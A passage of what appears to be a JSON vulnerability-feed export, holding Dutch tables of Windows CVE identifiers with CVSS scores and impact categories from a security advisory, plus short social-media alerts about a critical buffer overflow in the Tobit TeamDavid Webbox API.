CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:08.403560Z"}, {"uuid": "f3d338b2-b4cb-45a4-b53c-67c846df1bc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54212", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/117054113463561947", "content": "CVE-2026-54212: CRITICAL buffer overflow in Tobit TeamDavid Webbox API (\u2264 Rollout 524). Crafted JSON lets unauthenticated attackers crash servers; RCE possible if combined with other flaws. Restrict API, monitor activity. https://radar.offseq.com/threat/cve-2026-54212-cwe-787-out-of-bounds-write-in-tobit-laboratories-ag-teamdavid-2e946f5b4b7b0ab5 #OffSeq #CVE #bufferOverflow #infosec", "creation_timestamp": "2026-08-07T12:00:27.237912Z"}, {"uuid": "976b1f51-98f2-41d9-8c62-e041dc6ee3ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54212", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3msij23ny7t2v", "content": "Tobit TeamDavid Webbox API hit by CRITICAL buffer overflow (CVE-2026-54212). Unauthenticated attackers can crash servers, with possible RCE risk. Restrict API access, monitor closely. Patch status pending. https://radar.offseq.com/threat/cve-2026-54212-cwe-787-out-of-bounds-write-in-tobit-laborat...", "creation_timestamp": "2026-08-07T12:00:28.922180Z"}, {"uuid": "728070ab-0504-4faa-95fe-ebe6c099dbc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54124", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn 